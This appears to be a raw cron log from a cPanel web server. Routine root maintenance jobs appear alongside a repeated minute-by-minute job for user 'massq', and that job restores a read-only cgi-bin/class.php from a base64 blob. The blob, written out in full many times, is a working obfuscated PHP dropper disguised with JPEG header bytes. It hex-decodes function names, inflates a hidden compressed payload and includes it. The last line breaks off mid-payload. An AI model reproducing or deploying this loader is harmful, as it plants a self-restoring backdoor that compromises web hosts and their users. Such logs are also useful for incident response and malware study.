Apr  7 04:32:01 server CROND[24995]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 04:33:01 server CROND[25054]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 04:34:01 server CROND[25156]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 04:35:01 server CROND[25292]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr  7 04:35:01 server CROND[25291]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Apr  7 04:35:01 server CROND[25294]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr  7 04:35:01 server CROND[25293]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 04:35:01 server CROND[25295]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/bin/tail-check && /usr/local/cpanel/bin/tail-check)
Apr  7 04:36:01 server CROND[25416]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 04:37:01 server CROND[25481]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 04:38:01 server CROND[25555]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 04:39:01 server CROND[25628]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Apr  7 04:39:01 server CROND[25629]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 04:40:01 server CROND[25795]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Apr  7 04:40:01 server CROND[25796]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr  7 04:40:01 server CROND[25798]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 04:40:01 server CROND[25797]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr  7 04:41:01 server CROND[25912]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 04:42:01 server CROND[26041]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Apr  7 04:42:01 server CROND[26042]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 04:43:01 server CROND[26112]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 04:44:01 server CROND[26175]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 04:45:01 server CROND[26351]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr  7 04:45:01 server CROND[26353]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr  7 04:45:01 server CROND[26354]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JH